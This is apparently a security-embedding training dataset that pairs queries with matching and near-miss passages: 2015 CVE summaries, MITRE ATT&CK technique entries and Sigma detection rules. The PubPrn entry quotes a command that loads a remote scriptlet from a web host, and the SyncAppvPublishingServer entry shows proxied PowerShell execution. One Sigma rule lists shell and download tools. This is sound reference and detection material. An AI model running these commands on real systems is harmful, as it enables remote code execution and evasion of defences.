alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: vulnerability: IBM Tivoli Security Directory Server 6.0 before iFix 75, 6.1 before iFix 68, 6.2 before iFix 44, 6.3 before iFix 37, 6.3.1 before iFix 11, and 6.4 before iFix 2 does not prevent ca
Matching passage: CVE-2015-2019. CWE: CWE-17. CVSS: 2.0999999046325684. IBM Tivoli Security Directory Server 6.0 before iFix 75, 6.1 before iFix 68, 6.2 before iFix 44, 6.3 before iFix 37, 6.3.1 before iFix 11, and 6.4 before iFix 2 does not prevent caching of documents retrieved in SSL sessions, which allows physically proximate attackers to obtain sensitive information by leveraging an unattended workstation.
Near-miss passage: CVE-2015-0275. CWE: CWE-17. CVSS: 4.900000095367432. The ext4_zero_range function in fs/ext4/extents.c in the Linux kernel before 4.1 allows local users to cause a denial of service (BUG) via a crafted fallocate zero-range request.
Query: risk of Multiple cross-site scripting (XSS) vulnerabilities in the Infra Admin UI in Cisco Identity Services Engine (ISE) 1.2(1.198) and 1.3(0.876) allow remote attackers to inject arbitra
Matching passage: CVE-2015-4268. CWE: CWE-79. CVSS: 4.300000190734863. Multiple cross-site scripting (XSS) vulnerabilities in the Infra Admin UI in Cisco Identity Services Engine (ISE) 1.2(1.198) and 1.3(0.876) allow remote attackers to inject arbitrary web script or HTML via unspecified parameters in a (1) GET or (2) POST request, aka Bug ID CSCus16052.
Near-miss passage: CVE-2015-1567. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the admin page in the GD Infinite Scroll module before 7.x-1.4 for Drupal allows remote authenticated users with the "edit gd infinite scroll settings" permission to inject arbitrary web script or HTML via unspecified vectors.
Query: describe CVE-2015-3097
Matching passage: CVE-2015-3097. CWE: CWE-200. CVSS: 5.0. Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160, Adobe AIR before 18.0.0.144, Adobe AIR SDK before 18.0.0.144, and Adobe AIR SDK & Compiler before 18.0.0.144 on 64-bit Windows 7 systems do not properly select a random memory address for the Flash heap, which makes it easier for attackers to conduct unspecified attacks by predicting this address.
Near-miss passage: CVE-2015-4536. CWE: CWE-200. CVSS: 3.5. EMC Documentum Content Server before 7.0 P20, 7.1 before P18, and 7.2 before P02, when RPC tracing is configured, stores certain obfuscated password data in a log file, which allows remote authenticated users to obtain sensitive information by reading this file.
Query: risk of Xen 4.5.x and earlier enables certain default backends when emulating a VGA device for an x86 HVM guest qemu even when the configuration disables them, which allows local guest use
Matching passage: CVE-2015-2152. CWE: CWE-264. CVSS: 1.899999976158142. Xen 4.5.x and earlier enables certain default backends when emulating a VGA device for an x86 HVM guest qemu even when the configuration disables them, which allows local guest users to obtain access to the VGA console by (1) setting the DISPLAY environment variable, when compiled with SDL support, or connecting to the VNC server on (2) ::1 or (3) 127.0.0.1, when not compiled with SDL support.
Near-miss passage: CVE-2015-1688. CWE: CWE-264. CVSS: 6.800000190734863. Microsoft Internet Explorer 7 through 11 allows remote attackers to gain privileges via a crafted web site, aka "Internet Explorer Elevation of Privilege Vulnerability."
Query: risk of driver/subprocs.c in XScreenSaver before 5.34 does not properly perform an internal consistency check, which allows physically proximate attackers to bypass the lock screen by hot 
Matching passage: CVE-2015-8025. CWE: CWE-264. CVSS: 2.0999999046325684. driver/subprocs.c in XScreenSaver before 5.34 does not properly perform an internal consistency check, which allows physically proximate attackers to bypass the lock screen by hot swapping monitors.
Near-miss passage: CVE-2015-5251. CWE: CWE-264. CVSS: 5.5. OpenStack Image Service (Glance) before 2014.2.4 (juno) and 2015.1.x before 2015.1.2 (kilo) allow remote authenticated users to change the status of their images and bypass access restrictions via the HTTP x-image-meta-status header to images/*.
Query: vulnerability: Buffer overflow in the HIFI driver in Huawei P8 phones with software GRA-TL00 before GRA-TL00C01B230, GRA-CL00 before GRA-CL00C92B230, GRA-CL10 before GRA-CL10C92B230, GRA-UL00 bef
Matching passage: CVE-2015-8306. CWE: CWE-119. CVSS: 7.800000190734863. Buffer overflow in the HIFI driver in Huawei P8 phones with software GRA-TL00 before GRA-TL00C01B230, GRA-CL00 before GRA-CL00C92B230, GRA-CL10 before GRA-CL10C92B230, GRA-UL00 before GRA-UL00C00B230, and GRA-UL10 before GRA-UL10C00B230 allows attackers to cause a denial of service (system crash) or execute arbitrary code via an unspecified parameter.
Near-miss passage: CVE-2015-4482. CWE: CWE-119. CVSS: 4.599999904632568. mar_read.c in the Updater in Mozilla Firefox before 40.0 and Firefox ESR 38.x before 38.2 allows local users to gain privileges or cause a denial of service (out-of-bounds write) via a crafted name of a Mozilla Archive (aka MAR) file.
Query: CVE similar to CVE-2015-9318
Matching passage: CVE-2015-9318. CWE: CWE-254. CVSS: 7.5. The awesome-support plugin before 3.1.7 for WordPress has a security issue in which shortcodes are allowed in replies.
Near-miss passage: CVE-2015-1297. CWE: CWE-254. CVSS: 7.5. The WebRequest API implementation in extensions/browser/api/web_request/web_request_api.cc in Google Chrome before 45.0.2454.85 does not properly consider a request's source before accepting the request, which allows remote attackers to bypass intended access restrictions via a crafted (1) app or (2) extension.
Query: exploit The runtime engine in the Newphoria applican framework before 1.12.3 for Android and before 1.12.2 for iOS allows attackers to bypass a whitelist.xml URL whitelist protection mecha
Matching passage: CVE-2015-5632. CWE: CWE-264. CVSS: 6.800000190734863. The runtime engine in the Newphoria applican framework before 1.12.3 for Android and before 1.12.2 for iOS allows attackers to bypass a whitelist.xml URL whitelist protection mechanism and obtain API access via unspecified vectors.
Near-miss passage: CVE-2015-1305. CWE: CWE-264. CVSS: 6.900000095367432. McAfee Data Loss Prevention Endpoint (DLPe) before 9.3.400 allows local users to write to arbitrary memory locations, and consequently gain privileges, via a crafted (1) 0x00224014 or (2) 0x0022c018 IOCTL call.
Query: explain T1216.002 SyncAppvPublishingServer
Matching passage: T1216.002 SyncAppvPublishingServer. Tactics: stealth. Description: Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv) The SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv) Adversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by "living off the land."(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv) `SyncAppvPublishingServer.vbs "n; {PowerShell}"`
Near-miss passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Query: vulnerability: eWON devices with firmware before 10.1s0 omit RBAC for I/O server information and status requests, which allows remote attackers to obtain sensitive information via an unspecified 
Matching passage: CVE-2015-7926. CWE: CWE-200. CVSS: 9.899999618530273. eWON devices with firmware before 10.1s0 omit RBAC for I/O server information and status requests, which allows remote attackers to obtain sensitive information via an unspecified URL.
Near-miss passage: CVE-2015-3882. CWE: CWE-200. CVSS: 5.300000190734863. qdPM 8.3 allows remote attackers to obtain sensitive information via invalid ID value to index.php/users/info/id/[ID], which reveals the installation path in an error message.
Query: vulnerability: Varnish 3.x before 3.0.7, when used in certain stacked installations, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a hea
Matching passage: CVE-2015-8852. CWE: UNKNOWN. CVSS: 7.5. Varnish 3.x before 3.0.7, when used in certain stacked installations, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a header line terminated by a \r (carriage return) character in conjunction with multiple Content-Length headers in an HTTP request.
Near-miss passage: CVE-2015-2767. CWE: UNKNOWN. CVSS: 10.0. Unspecified vulnerability in Websense TRITON AP-EMAIL before 8.0.0 has unknown impact and attack vectors, related to "Autocomplete Enabled."
Query: risk of The Imagination Technologies driver in Android 5.x before 5.1.1 LMY49F and 6.0 before 2016-01-01 allows attackers to gain privileges via a crafted application, aka internal bug 246
Matching passage: CVE-2015-6638. CWE: CWE-264. CVSS: 7.800000190734863. The Imagination Technologies driver in Android 5.x before 5.1.1 LMY49F and 6.0 before 2016-01-01 allows attackers to gain privileges via a crafted application, aka internal bug 24673908.
Near-miss passage: CVE-2015-7408. CWE: CWE-264. CVSS: 3.700000047683716. The server in IBM Spectrum Protect (aka Tivoli Storage Manager) 5.5 and 6.x before 6.3.5.1 and 7.x before 7.1.4 does not properly restrict use of the ASNODENAME option, which allows remote attackers to read or write to backup data by leveraging proxy authority.
Query: vulnerability: Location Framework in Apple iOS before 8.4.1 allows local users to bypass intended restrictions on filesystem modification via a symlink.
Matching passage: CVE-2015-3759. CWE: CWE-59. CVSS: 4.599999904632568. Location Framework in Apple iOS before 8.4.1 allows local users to bypass intended restrictions on filesystem modification via a symlink.
Near-miss passage: CVE-2015-1338. CWE: CWE-59. CVSS: 7.199999809265137. kernel_crashdump in Apport before 2.19 allows local users to cause a denial of service (disk consumption) or possibly gain privileges via a (1) symlink or (2) hard link attack on /var/crash/vmcore.log.
Query: common weakness: Use of Singleton Pattern Without Synchronization in a Multithreaded Context
Matching passage: CWE-543 Use of Singleton Pattern Without Synchronization in a Multithreaded Context. The product uses the singleton pattern when creating a resource within a multithreaded environment.
Near-miss passage: CWE-651 Exposure of WSDL File Containing Sensitive Information. The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).
Query: risk of Lenovo System Update (formerly ThinkVantage System Update) before 5.07.0019 allows local users to gain privileges by navigating to (1) "Click here to learn more" or (2) "View priva
Matching passage: CVE-2015-8110. CWE: CWE-264. CVSS: 7.800000190734863. Lenovo System Update (formerly ThinkVantage System Update) before 5.07.0019 allows local users to gain privileges by navigating to (1) "Click here to learn more" or (2) "View privacy policy" within the Tvsukernel.exe GUI application in the context of a temporary administrator account, aka a "local privilege escalation vulnerability."
Near-miss passage: CVE-2015-9013. CWE: CWE-264. CVSS: 9.800000190734863. An elevation of privilege vulnerability in Qualcomm closed source components. Product: Android. Versions: Android kernel. Android ID: A-36393251.
Query: describe CVE-2015-4730
Matching passage: CVE-2015-4730. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in Oracle MySQL 5.6.20 and earlier allows remote authenticated users to affect availability via unknown vectors related to Types.
Near-miss passage: CVE-2015-0486. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in Oracle Java SE 8u40 allows remote attackers to affect confidentiality via unknown vectors related to Deployment.
Query: describe CVE-2015-8231
Matching passage: CVE-2015-8231. CWE: CWE-399. CVSS: 7.5. Huawei eSpace 7910 and 7950 IP phones with software before V200R002C00SPC800 allow remote attackers with established sessions to cause a denial of service (device restart) via unspecified packets.
Near-miss passage: CVE-2015-1563. CWE: CWE-399. CVSS: 2.0999999046325684. The ARM GIC distributor virtualization in Xen 4.4.x and 4.5.x allows local guests to cause a denial of service by causing a large number messages to be logged.
Query: exploit The wp-all-import plugin before 3.2.4 for WordPress has no prevention of unauthenticated requests to adminInit.
Matching passage: CVE-2015-9331. CWE: CWE-254. CVSS: 7.5. The wp-all-import plugin before 3.2.4 for WordPress has no prevention of unauthenticated requests to adminInit.
Near-miss passage: CVE-2015-7914. CWE: CWE-254. CVSS: 8.100000381469727. Sauter EY-WS505F0x0 moduWeb Vision before 1.6.0 allows remote attackers to bypass authentication by leveraging knowledge of a password hash without knowledge of the associated password.
Query: Sigma rule for Detects potential DLL side-loading of jli.dll. JLI.dll has been observed being side-loaded by Java processes by various
Matching passage: Sigma rule: Detects potential DLL side-loading of jli.dll. JLI.dll has been observed being side-loaded by Java processes by various. Logsource: windows / image_load. Rule: title: Potential JLI.dll Side-Loading id: 7a3b6d1f-4a2b-4f8c-9d7e-e9f8cbf21a35 status: experimental description: 'Detects potential DLL side-loading of jli.dll. JLI.dll has been observed being side-loaded by Java processes by various threat actors, including APT41, XWorm, and others in order to load malicious payloads in context of legitimate Java processes. ' references: - https://securelist.com/apt41-in-africa/116986/ - https://lab52.io/blog/snake-keylogger-in-geopolitical-affairs-abuse-of-trusted-java-utilities-in-cybercrime-operations/ - https://hijacklibs.net/entries/3rd_party/oracle/jli.html - https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2025-07-25 modified: 2025-10-06 tags: - attack.persistence - attack.privilege-escalation - attack.execution - attack.stealth - attack.t1574.001 logsource: category: image_load product: windows detection: selection: ImageLoaded|endswith: \jli.dll filter_main_legitimate_install_paths: ImageLoaded|startswith: - C:\Program Files\ - C:\Program Files (x86)\ Description: OpenJDK Platform binary OriginalFileName: jli.dll Product|startswith: OpenJDK Platform Signed: 'true' filter_optional_eclipse: ImageLoaded|startswith: C:\eclipse\plugins\ condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects suspicious processes including shells spawnd from WinRM host process. Logsource: windows / process_creation. Rule: title: Suspicious Processes Spawned by WinRM id: 5cc2cda8-f261-4d88-a2de-e9e193c86716 status: test description: Detects suspicious processes including shells spawnd from WinRM host process author: Andreas Hunkeler (@Karneades), Markus Neis references: - Internal Research date: 2021-05-20 modified: 2022-07-14 tags: - attack.t1190 - attack.initial-access - attack.persistence - attack.privilege-escalation logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \wsmprovhost.exe Image|endswith: - \cmd.exe - \sh.exe - \bash.exe - \powershell.exe - \pwsh.exe - \wsl.exe - \schtasks.exe - \certutil.exe - \whoami.exe - \bitsadmin.exe condition: selection falsepositives: - Legitimate WinRM usage level: high
Query: vulnerability: Buffer overflow in the png_set_PLTE function in libpng before 1.0.65, 1.1.x and 1.2.x before 1.2.55, 1.3.x, 1.4.x before 1.4.18, 1.5.x before 1.5.25, and 1.6.x before 1.6.20 allows
Matching passage: CVE-2015-8472. CWE: CWE-119. CVSS: 7.300000190734863. Buffer overflow in the png_set_PLTE function in libpng before 1.0.65, 1.1.x and 1.2.x before 1.2.55, 1.3.x, 1.4.x before 1.4.18, 1.5.x before 1.5.25, and 1.6.x before 1.6.20 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a small bit-depth value in an IHDR (aka image header) chunk in a PNG image. NOTE: this vulnerability exists because of an incomplete fix for CVE-2015-8126.
Near-miss passage: CVE-2015-6079. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-6068, CVE-2015-6072, CVE-2015-6073, CVE-2015-6075, CVE-2015-6077, CVE-2015-6080, and CVE-2015-6082.
Query: rule covering Detects the creation of a user with the "$" character. This can be used by attackers to hide a user or trick detection s
Matching passage: Sigma rule: Detects the creation of a user with the "$" character. This can be used by attackers to hide a user or trick detection s. Logsource: windows / security. Rule: title: New or Renamed User Account with '$' Character id: cfeed607-6aa4-4bbd-9627-b637deb723c8 status: test description: 'Detects the creation of a user with the "$" character. This can be used by attackers to hide a user or trick detection systems that lack the parsing mechanisms. ' references: - https://twitter.com/SBousseaden/status/1387743867663958021 author: Ilyas Ochkov, oscd.community date: 2019-10-25 modified: 2024-01-16 tags: - attack.stealth - attack.t1036 logsource: product: windows service: security detection: selection_create: EventID: 4720 SamAccountName|contains: $ selection_rename: EventID: 4781 NewTargetUserName|contains: $ filter_main_homegroup: EventID: 4720 TargetUserName: HomeGroupUser$ condition: 1 of selection_* and not 1 of filter_main_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe. Logsource: windows / process_creation. Rule: title: Suspicious File Characteristics Due to Missing Fields id: 9637e8a5-7131-4f7f-bdc7-2b05d8670c43 status: test description: Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe references: - https://securelist.com/muddywater/88059/ - https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection author: Markus Neis, Sander Wiebing date: 2018-11-22 modified: 2022-10-09 tags: - attack.execution - attack.t1059.006 logsource: product: windows category: process_creation detection: selection1: Description: \? FileVersion: \? selection2: Description: \? Product: \? selection3: Description: \? Company: \? folder: Image|contains: \Downloads\ condition: (selection1 or selection2 or selection3) and folder falsepositives: - Unknown level: medium
Query: patch priority for CVE-2015-2027
Matching passage: CVE-2015-2027. CWE: CWE-264. CVSS: 2.0999999046325684. IBM WebSphere eXtreme Scale 7.1.0 before 7.1.0.3 and 7.1.1 before 7.1.1.1 improperly performs logout actions, which allows remote attackers to bypass intended access restrictions by leveraging an unattended workstation.
Near-miss passage: CVE-2015-1458. CWE: CWE-264. CVSS: 6.900000095367432. Fortinet FortiAuthenticator 3.0.0 allows local users to bypass intended restrictions and gain privileges by creating /tmp/privexec/dbgcore_enable_shell_access and executing the "shell" command.
Query: risk of Cross-site scripting (XSS) vulnerability in the manager web interface in mod_cluster before 1.3.2.Alpha1 allows remote attackers to inject arbitrary web script or HTML via a crafte
Matching passage: CVE-2015-0298. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the manager web interface in mod_cluster before 1.3.2.Alpha1 allows remote attackers to inject arbitrary web script or HTML via a crafted MCMP message.
Near-miss passage: CVE-2015-1621. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in the Webform prepopulate block module before 7.x-3.1 for Drupal allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.
Query: CVE similar to CVE-2015-1867
Matching passage: CVE-2015-1867. CWE: CWE-264. CVSS: 7.5. Pacemaker before 1.1.13 does not properly evaluate added nodes, which allows remote read-only users to gain privileges via an acl command.
Near-miss passage: CVE-2015-3179. CWE: CWE-264. CVSS: 3.5. login/confirm.php in Moodle through 2.5.9, 2.6.x before 2.6.11, 2.7.x before 2.7.8, and 2.8.x before 2.8.6 allows remote authenticated users to bypass intended login restrictions by leveraging access to an unconfirmed suspended account.